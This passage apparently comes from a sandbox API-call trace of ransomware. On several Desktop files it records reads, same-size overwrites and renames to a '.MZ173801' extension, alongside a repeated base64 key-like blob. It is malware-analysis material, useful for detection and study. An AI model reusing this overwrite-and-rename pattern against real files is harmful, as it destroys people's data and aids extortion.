lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0uRZSuowOKzyGbEL2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0urzsuowokzygbel2.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.968] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.968] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.968] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x6730 [0144.968] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.968] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x6730, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x6730, lpOverlapped=0x0) returned 1 [0144.969] CloseHandle (hObject=0x224) returned 1 [0144.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0uRZSuowOKzyGbEL2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0urzsuowokzygbel2.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.972] WriteFile (in: hFile=0x224, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f99c*=0x6730, lpOverlapped=0x0) returned 1 [0144.974] CloseHandle (hObject=0x224) returned 1 [0144.974] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0uRZSuowOKzyGbEL2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0urzsuowokzygbel2.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0uRZSuowOKzyGbEL2.ppt.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0urzsuowokzygbel2.ppt.mz173801")) returned 1 [0144.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WpdE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wpde.png"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb5f7080, ftCreationTime.dwHighDateTime=0x1d5d9e7, ftLastAccessTime.dwLowDateTime=0xdc6ad3a0, ftLastAccessTime.dwHighDateTime=0x1d5d92a, ftLastWriteTime.dwLowDateTime=0xdc6ad3a0, ftLastWriteTime.dwHighDateTime=0x1d5d92a, nFileSizeHigh=0x0, nFileSizeLow=0x21dd)) returned 1 [0144.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WpdE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wpde.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.980] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.980] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.980] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x21dd [0144.980] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.980] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x21dd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x21dd, lpOverlapped=0x0) returned 1 [0144.981] CloseHandle (hObject=0x224) returned 1 [0144.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WpdE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wpde.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.984] WriteFile (in: hFile=0x224, lpBuffer=0x718540*, nNumberOfBytesToWrite=0x21dd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x718540*, lpNumberOfBytesWritten=0x18f99c*=0x21dd, lpOverlapped=0x0) returned 1 [0144.985] CloseHandle (hObject=0x224) returned 1 [0144.986] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WpdE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wpde.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WpdE.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wpde.png.mz173801")) returned 1 [0144.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_I6CQm9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_i6cqm9.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c3de6a0, ftCreationTime.dwHighDateTime=0x1d5db41, ftLastAccessTime.dwLowDateTime=0x1a695e10, ftLastAccessTime.dwHighDateTime=0x1d5d7f5, ftLastWriteTime.dwLowDateTime=0x1a695e10, ftLastWriteTime.dwHighDateTime=0x1d5d7f5, nFileSizeHigh=0x0, nFileSizeLow=0x6fe5)) returned 1 [0144.989] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.989] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5